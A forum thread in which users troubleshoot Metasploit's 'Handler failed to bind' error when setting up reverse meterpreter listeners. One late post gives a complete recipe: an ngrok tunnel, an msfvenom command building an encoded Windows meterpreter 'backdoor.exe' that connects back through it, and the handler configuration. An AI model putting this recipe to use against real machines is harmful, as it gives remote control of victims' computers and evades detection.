Metasploit Error: Handler Failed to Bind

you can do it with your public ip but you must configure your router

How to exactly do that?

Try another port (I use 8080)

Are you sure that is the correct IP address for your kali box? The handler seems to not be able to bind to that address. Is something else running on that address? When it then binds to 0.0.0.0 do you still get your meterpreter session?

can anyone please help me i have put all the ip at lhost my external my internal but it is not working!!!

Thanks Guys for the help, i don't know what was the problem but it's working now.

i got the same problem but i cant fix it please help :'(

Thanks, I had the same problem

I'm using metasploit, but getting error like this " Handler failed to bind to 123.34.45.45:4444"
How to resolve this?
Can you help me please ????

Try scaning your own IP addres using #nmap that will show you all you open port

it might just mean it's not vulnerable/exploitable. I get this error all the damn time.

• Handler failed to bind to xxxxxx:8080(external ip adress) :( what should i do please

Try This,

use exploit/multi/handler
set payload to the 1 you want, make sure its, Reverse TCP
set LHOST ( Your External IP
set LPORT ( Port You Want To Use )
set ReverseListeningBindAddress ( Your Local Machine IP Address )
exploit -j -z

It still use's you external IP, but it binds to your local IP
Also make sure, that you are connected to you MAIN router/modem
And also make sure that the port you want to use is PortForwarded in some way

no work bro !!! but thank you

Any help will be appriciated :

didnt work for me it giving me failed to bind any suggestions guys! thnx

As the others already said, check for the IP etc. If it all doesn't work, switch the network driver off and on again to kill all bindings... If it still doesn't work, reboot.

Try to use another port for multi/handler
I use 4444 or 8080

This happen if you don't use your kali machine private IP address ,Please use private IP address when setting LHOST in msfconsole .

The private IP can be seen in connection properties.
Here is the Screen shot.

can anyone please help me i have put all the ip at lhost my external my internal but it is not working i have used all the ports every possible thing but i am not able to open the meterpreter session

If you're using Metasploit on AWS you need to use the long DNS for lhost like -> ec2-30-54-......us-west......compute.amazonaws.com

Help me please ...i want to resolve this..thanks

Same problem for me..help me how to solve this ...

handler failed
soo plz help me
how to solve????

i got the same problem but i cant fix it please help

Disconnect your router then connect with your hotspot,Restart the whole process ,Then if it happens again let me know

Go to this post I explained everything clearly :

How to fix handler failed error

thx. Real useful!

i'm using metasploit on termux app but this same broblem so plz help me

For me the problem was a misunderstanding, insteand of giving MY ip address (the PC who is generating the atack) I was entering the victim's ip (my windows ip) . The ip is set in order to receive the informaitions on it, so you want yours to be. I hope I've helped someone else.

Thanks for the Post.Great work!
Thanking you,
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Here is the solution guys. :)

Step 1: Set Up Ngrok

ngrok tcp 8080
output:
Forwading: 4.tcp.ngrok.io:13161 --> localhost:8080

Step 2: Set Up Payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=4.tcp.ngrok.io LPORT=13161 -e shikata_ga_nai -f exe -o backdoor.exe

Step 3: Set Up Listener

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 4.tcp.ngrok.io
set LPORT 13161
set ReverseListeningBindAddress localhost
set ReverseListeningBindPort 8080
exploit

Whenever you are listening to commands from another machine like on this case (4.tcp.ngrok.io) you need these commands to be sent to your local machine, so you need to use the options ReverseListeningBindAddress and ReverseListeningBindPort

If you don't set ReverseListenerBindAddress, and it can't bind to LHOST, it'll fall back on 0.0.0.0. Make sure everything is routing correctly, and make sure your payload can egress to your handler.

Reference:
corelan.be/index.php/2014/01/04/metasploit-meterpreter-and-nat/

I'm having the same problem when I try to listen on my public IP. I did my port forwarding using a VPN service TorGuard and whenever I try to connect listen on the IP assigned by tor guard, it gives an error about not being able to bind on it. After using the ReverseListeningBindAddress and the ReverseListeningBindPort, I got some unexpected results like the one below:

msf6 exploit(multi/handler) > set ReverseListeningBindAddress localhost
ReverseListeningBindAddress => localhost
msf6 exploit(multi/handler) > set ReverseListeningBindPort 2269
! Unknown datastore option: ReverseListeningBindPort. Did you mean ReverseListeningBindAddress?
ReverseListeningBindPort => 2269
msf6 exploit(multi/handler) > run

• Handler failed to bind to 77.81.13.58:2269:- -

Started reverse TCP handler on 0.0.0.0:2269

• Command shell session 2 is not valid and will be closed

41.190.12.194 - Command shell session 2 closed.

• Command shell session 32 is not valid and will be closed

41.190.12.194 - Command shell session 32 closed.

• Command shell session 46 is not valid and will be closed

41.190.12.194 - Command shell session 46 closed.

• Command shell session 51 is not valid and will be closed

41.190.12.194 - Command shell session 51 closed.

• Command shell session 58 is not valid and will be closed

41.190.12.194 - Command shell session 58 closed.

• Command shell session 99 is not valid and will be closed

41.190.12.194 - Command shell session 99 closed.

• Exploit failed user-interrupt: Interrupt
• run: Interrupted